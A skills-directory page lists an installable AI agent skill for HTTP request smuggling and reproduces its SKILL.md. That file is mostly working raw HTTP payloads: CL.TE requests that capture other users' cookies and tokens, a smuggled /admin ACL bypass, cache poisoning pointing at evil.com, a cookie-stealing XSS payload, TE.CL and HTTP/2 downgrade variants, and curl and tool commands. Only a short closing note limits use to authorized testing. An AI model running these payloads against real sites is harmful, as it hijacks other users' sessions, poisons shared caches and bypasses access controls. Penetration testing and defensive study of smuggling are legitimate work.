Skip to content
Back to skills

Http Smuggling Advanced

ASecurity

HTTP smuggling: CL.TE, TE.CL, H2.CL, desync confirmation

  • 2 stars
  • 0 votes
  • 0 copies
  • 0 views
  • Added November 29, 2026
developmentpythongobashtestingfrontendbackend

Works with

  • mcp

Security analysis

A100/100

Pro scans all 3 files and shows the line behind each finding

Scanned November 29, 2026

npx -y skills add blackfoxxx/kestrel --skill http-smuggling-advanced --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Http Smuggling Advanced?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Http Smuggling Advanced
[![Security: A — Skills Directory](https://www.skillsdirectory.com/api/skills/blackfoxxx-http-smuggling-advanced/badge)](https://www.skillsdirectory.com/skills/blackfoxxx-http-smuggling-advanced)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: http-smuggling-advanced
description: "HTTP smuggling: CL.TE, TE.CL, H2.CL, desync confirmation"
metadata: 
tags: "http smuggling,request smuggling,desync,cl-te,te-cl,h2-smuggling,http2,downgrade smuggling,request smuggling"
category: "exploit"
mitre_attack: "T1190,T1557"
mcps: autopen, pentest mcp, context1337, browser
---

# Advanced HTTP Request Smuggling Exploitation

> **Prerequisite**: this skill focuses on **chained exploitation after a smuggling vuln is confirmed**

## ⛔ Deep-dive references

- Detection payloads for the various smuggling variants → [references/smuggling-detection.md](references/smuggling-detection.md)
- H2C/H2 downgrade smuggling techniques → [references/h2-smuggling.md](references/h2-smuggling.md)

---

## Phase 0: Smuggling-type quick reference

```
what does the frontend (FE) use to parse request length? and the backend (BE)?

CL.TE: FE uses Content-Length → BE uses Transfer-Encoding
TE.CL: FE uses Transfer-Encoding → BE uses Content-Length
TE.TE: both use TE but handle malformed TE headers differently
H2.CL: FE uses HTTP/2 frame length → BE downgrades to HTTP/1.1 with CL
H2.TE: FE uses HTTP/2 → BE downgrades and uses TE

⛔ only enter this skill's exploitation phase after smuggling is confirmed
```

## Phase 1: CL.TE smuggling exploitation

### 1.1 Steal other users' requests

```http
POST / HTTP/1.1
Host: target.com
Content-Length: 130
Transfer-Encoding: chunked

0

POST /log HTTP/1.1
Host: target.com
Content-Length: 500
Content-Type: application/x-www-form-urlencoded

stolen=
```

**Mechanism:** the backend treats `POST /log ... stolen=` as the prefix of the next request → the next user's entire request gets appended after `stolen=` → you can read their Cookie/Token.

### 1.2 Bypass the front-end ACL

```http
POST / HTTP/1.1
Host: target.com
Content-Length: 73
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: target.com
X-Forwarded-For: 127.0.0.1

```

**Mechanism:** the front end only inspects the first request (POST /) → lets it through. The smuggled `GET /admin` reaches the backend directly → bypassing the front end's IP/path restrictions.

### 1.3 Poison the web cache

```http
POST / HTTP/1.1
Host: target.com
Content-Length: 120
Transfer-Encoding: chunked

0

GET /static/main.js HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com

```

**Mechanism:** the smuggled GET request + a malicious Host header → the backend returns a response containing `evil.com` → the front end caches this response → other users requesting `/static/main.js` get the poisoned content.

### 1.4 Upgrade reflected XSS to stored XSS

```http
POST / HTTP/1.1
Host: target.com
Content-Length: 150
Transfer-Encoding: chunked

0

GET /search?q=<script>alert(document.cookie)</script> HTTP/1.1
Host: target.com
X-Random: x
```

**Mechanism:** if `/search` has reflected XSS → the smuggled request makes the next user's response a search-results page containing the XSS payload → reflected becomes stored.

## Phase 2: TE.CL smuggling exploitation

```http
POST / HTTP/1.1
Host: target.com
Content-Length: 4
Transfer-Encoding: chunked

78
POST /admin HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

```

**Key point:** the front end correctly reads all the chunked data using TE. The backend, using CL=4, reads only `78\r\n`, and the remaining `POST /admin ...` is treated as a separate new request.

## Phase 3: HTTP/2 downgrade smuggling (H2.CL / H2.TE)

### 3.1 H2.CL smuggling

```
the HTTP/2 request (frontend):
:method: POST
:path: /
:authority: target.com
content-length: 0

the smuggled HTTP/1.1 (as the backend sees it):
POST / HTTP/1.1\r\n
Host: target.com\r\n
Content-Length: 0\r\n
\r\n
GET /admin HTTP/1.1\r\n
Host: target.com\r\n
\r\n
```

**Mechanism:** HTTP/2 uses frame lengths and needs no CL. But when downgrading to HTTP/1.1, an incorrect CL value makes the backend treat the excess data as a new request.

### 3.2 H2 Request Tunneling

```
exploiting special headers in HTTP/2 HEADERS frames:
:method: POST
:path: /
:authority: target.com
transfer-encoding: chunked

in HTTP/2 the TE header is usually ignored, but takes effect after downgrade
→ CL/TE inconsistency can be constructed
```

## Phase 4: Automated detection and exploitation

### Tools

```bash
# smuggler.py — automated detection
python3 smuggler.py -u https://target.com

# Burp Suite — the HTTP Request Smuggler extension
# install the extension → Scan → reports the smuggling type

# h2csmuggler — HTTP/2 cleartext upgrade smuggling
python3 h2csmuggler.py -x https://target.com -t /admin

# manual curl verification (CL.TE)
curl -i -X POST https://target.com/ \
  -H "Content-Length: 6" \
  -H "Transfer-Encoding: chunked" \
  --data-binary $'0\r\n\r\nG'
# if the second normal GET returns "GGET / HTTP/1.1 ..." 405 → smuggling exists
```

### Ways to confirm smuggling succeeded

```
method 1: timing differences
├─ smuggle a delayed request → watch the response time change

method 2: differential responses
├─ smuggle GET /404path → the next normal request returns 404

method 3: reflected requests
├─ smuggle a request to a log server you control
├─ check whether other users' requests arrive

method 4: OAST (out-of-band)
├─ smuggle Host: burp-collaborator.net
├─ check the DNS/HTTP requests Collaborator receives
```

## ⛔ Risk control

- Request smuggling **affects other users** → only use it in authorized testing
- Use a unique identifier to distinguish your own requests during testing
- Confirm with the timing-difference method first → then move to exploitation
- Avoid a large volume of smuggled requests that could take the service down

Files in this skill

  • SKILL.md5.6 KB
  • references/h2-smuggling.md15.6 KB
  • references/smuggling-detection.md15.2 KB

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in development →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.